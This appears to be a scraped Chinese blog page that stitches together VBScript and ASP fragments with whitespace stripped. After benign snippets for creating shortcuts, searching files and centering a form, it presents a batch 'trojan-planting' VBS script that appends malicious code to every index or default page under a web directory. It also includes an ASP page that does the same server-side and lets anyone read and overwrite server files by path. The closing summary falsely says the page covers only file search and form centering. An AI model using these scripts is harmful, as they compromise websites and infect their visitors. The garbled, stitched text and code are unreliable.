->SetobjFSO=CreateObject("Scripting.FileSystemObject")
SetobjFile=objFSO.OpenTextFile("d:\1\0.txt",1)
setWshShell=WScript.CreateObject("WScript.Shell")
strFolder="d:\1"
DoUntilobjFile.AtEndOfStream
strLine=objFile.ReadLine
filename=strLine
SetobjFile=objFSO.GetFile(filename)
setoShellLink=WshShell.CreateShortcut(strFolder&objFSO.GetBaseName(filename)&".lnk")
oShellLink.TargetPath=objFile
oShellLink.WindowStyle=1
oShellLink.WorkingDirectory=objFSO.GetParentFolderName(filename)
oShellLink.Save
Loop
objFile.Close
这个只传递一次就完了
onerrorresumenext
DimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPath
ConstMY_COMPUTER=&H11&
ConstWINDOW_HANDLE=0
ConstOPTIONS=0
SetobjShell=CreateObject("Shell.Application")
SetobjFolder=objShell.Namespace(My_Computer)
SetobjFolderItem=objFolder.Self
strPath=objFolderItem.Path
SetobjFolder=objShell.BrowseForFolder(WINDOW_HANDLE,"选择你要搜索的文件夹:",OPTIONS,strPath)
IfobjFolderIsNothingThen
msgbox"您没有选择任何有效目录!"
wscript.quit
else
SetobjFolderItem=objFolder.Self
sPath=objFolderItem.Path
txtpath=sPath
SetFso=wscript.CreateObject("scripting.filesystemobject")
FileTotal=0
DirTotal=0
'sPath=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))
'txtPath=trim(inputbox("你选的目录是"&sPath,"文件搜索",sPath))
keyWord=LCase(inputbox("请输入搜索关键字点Cancel的话会得到目录列表:","文件搜索","mp3"))
setoutFile=Fso.createtextfile(sPath&"\SearchResult.txt")
outFile.writeline"开始搜索..."
outFile.writeline"起启目录:"&txtPath
TimeSpend=Timer
myFindtxtPath
TimeSpend=round(Timer-TimeSpend,2)
txtResult="搜索完成!"&vbCrLf&"共找到文件:"&FileTotal&"个."&vbCrLf&"共搜索目录:"&DirTotal&"个."&vbCrLf&"用时:"&TimeSpend&"秒."
outFile.writetxtResult
msgboxtxtResult&"结果保存在"&sPath&"\SearchResult.txt"
outFile.close
setoutFile=nothing
setFso=nothing
SubmyFind(ByValthePath)
Dimfso,myFolder,myFile,curFolder
Setfso=wscript.CreateObject("scripting.filesystemobject")
SetcurFolders=fso.getfolder(thePath)
DirTotal=DirTotal+1
IfcurFolders.Files.Count>0Then
ForEachmyFileIncurFolders.Files
IfInStr(1,LCase(myFile.Name),keyWord)>0Then
outFile.WriteLineFormatPath(thePath)&""&myFile.Name
FileTotal=FileTotal+1
EndIf
Next
EndIf
IfcurFolders.subfolders.Count>0Then
ForEachmyFolderIncurFolders.subfolders
myFindFormatPath(thePath)&""&myFolder.Name
Next
EndIf
EndSub
FunctionFormatPath(ByValthePath)
thePath=Trim(thePath)
FormatPath=thePath
IfRight(thePath,1)=""ThenFormatPath=Mid(thePath,1,Len(thePath)-1)
EndFunction
Endif
在工程中增添一模块,在模块中加上如下的代码:
OptionExplicit
PrivateConstSPI_GETWORKAREA=48
PrivateDeclareFunctionSystemParametersInfo&Lib"User32"Alias"SystemParametersInfoA"(ByValuActionAsLong,ByValuParamAsLong,lpvParamAsAny,ByValfuWinIniAsLong)
PrivateTypeRECT
LeftAsLong
TopAsLong
RightAsLong
BottomAsLong
EndType
PublicFunctionCenterForm32(frmAsForm)
DimScreenWidth&,ScreenHeight&,ScreenLeft&,ScreenTop&
DimDesktopAreaAsRECT
CallSystemParametersInfo(SPI_GETWORKAREA,0,DesktopArea,0)
ScreenHeight=(DesktopArea.Bottom-DesktopArea.Top)*Screen.TwipsPerPixelY
ScreenWidth=(DesktopArea.Right-DesktopArea.Left)*Screen.TwipsPerPixelX
ScreenLeft=DesktopArea.Left*Screen.TwipsPerPixelX
ScreenTop=DesktopArea.Top*Screen.TwipsPerPixelY
frm.Move(ScreenWidth-frm.Width)\2 ScreenLeft,(ScreenHeight-frm.Height)\2 ScreenTop
EndFunction
----要调用CenterForm32函数,可在表单的Load事件中增添代码CenterForm32Me即可
花了一点时间把以前的海阳顶端2006的sql模块改成vbs版了,和它的功能是一模一样的,不过用起来可能没有asp版的舒服,不过能用,可以用在dos下了,渗透内网时估计你用得着比较常用的属性有:
Buttonvisible决定该按钮在MCI控制中是否可见
|----动态数组
显然,采用少量的分隔符将本长句划分为一些更短的句子,将便于管理
仙凡幻想巡山
package.Value("SecurityEnabled")="Y"
调用GetCollection方法来取得ComponentsInPackage集合scan.vbe
cscriptscan.vbeweb目录
程序代码:
'版权信息
br="************************************"&vbCrLf
br=br&"*VBS批量挂马脚本*"&vbCrLf
br=br&"*BYBanLG*"&vbCrLf
br=br&"************************************"&vbCrLf&vbCrLf
br=br&"cscriptscan.vbeD:"&vbCrLf
'马的地址
ma=""
'要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开
MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"
'以"|"为分隔符拆分成数组
MyArray=Split(MyString,"|",-1,1)
web=WScript.Arguments(0)
'如果web为空退出脚本
ifweb=""then
Wscript.echo(br)
window.Close
endif
Wscript.echo(br)&"马的地址:"&ma&vbCrLf&vbCrLf
'创建对象
Setfso=createObject("Scripting.FileSystemObject")
'开始扫描挂马
scan(web)
'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾
subscan(filesder)
setfilesder=fso.getfolder(filesder)
'得到当前目录的所有文件集合
setfiles=filesder.files
'获取文件名
foreachfextinfiles
Setfile1=fso.GetFile(fext)
filesext=file1.Name
'把文件名转换成小写字母
ext=lcase(filesext)
ForEachindexinMyArray
'判断文件是不是我们在MyString里限定的文件,如果是就写马
ifext=lcase(index)then
Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作
ts.WriteLine(ma)
ts.Close
echo=""
echo=fext&"………….ok"
Wscript.echo(echo)
endif
next
next
setsubfolders=filesder.subfolders
foreachsubfolderinsubfolders'搜索其他目录,递归调用
scan(subfolder)
next
endsub
FSO挂马.asp
传进服务器以后直接输入需要挂马的路径就可以直接挂了
程序代码:
Response.Buffer=False
%>
ASP_SELF=Request.ServerVariables("PATH_INFO")
s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")
Ifex<>""ANDpth<>""Then
selectCaseex
Case"edit"
CALLfile_show(pth)
Case"save"
CALLfile_save(pth)
Endselect
Else
%>
"method="POST">
FOLDER(ABSOLUTEPATH):
FunctionIsPattern(patt,str)
SetregEx=NewRegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
SetregEx=Nothing
IfretVal=TrueThen
IsPattern=True
Else
IsPattern=False
EndIf
EndFunction
IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then
schs
Else
Ifs<>""ThenResponse.Write"InvalidAgrument!"
EndIf
Subsch(s)
oNeRrOrrEsUmEnExT
Setfs=Server.createObject("Scripting.FileSystemObject")
Setfd=fs.GetFolder(s)
Setfi=fd.Files
Setsf=fd.SubFolders
ForEachfinfi
rtn=f.Path
step_allrtn
Next
Ifsf.Count<>0Then
ForEachlInsf
schl
Next
EndIf
EndSub
Substep_all(agr)
retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)
IfretValThen
step1agr
step2agr
Else
ExitSub
EndIf
EndSub
%>
Substep2(str2)
addcode=""
Setfs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
IfisExistThen
Setf=fs.GetFile(str2)
Setf_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Writeaddcode
f_addcode.Close
Setf=Nothing
EndIf
Setfs=Nothing
EndSub
%>
Subfile_show(fname)
Setfs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
IfisExistThen
Setfcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Setfs1=Nothing%>
FILE:
"method="POST">
">
THEFILEISNOTEXITORHAVEdeleteD.
EndIf
EndSub
%>
Subfile_save(fname)
Setfs2=Server.createObject("Scripting.FileSystemObject")
Setnewf=fs2.createTextFile(fname,True)
newf.Writenewcnt
newf.Close
Setfs2=Nothing
Response.Write"
THEFILEWASMODIFIEDSUCCESSFULLY.
"EndSub
%>
。
这段VBS脚本展示了如何使用Scripting.FileSystemObject进行文件搜索和目录遍历,用户可以输入关键字搜索特定文件,并将结果保存到文本文件。此外,脚本还包含了一个函数用于在桌面上居中显示窗体。脚本适用于批处理任务和系统管理。
1766

被折叠的 条评论
为什么被折叠?



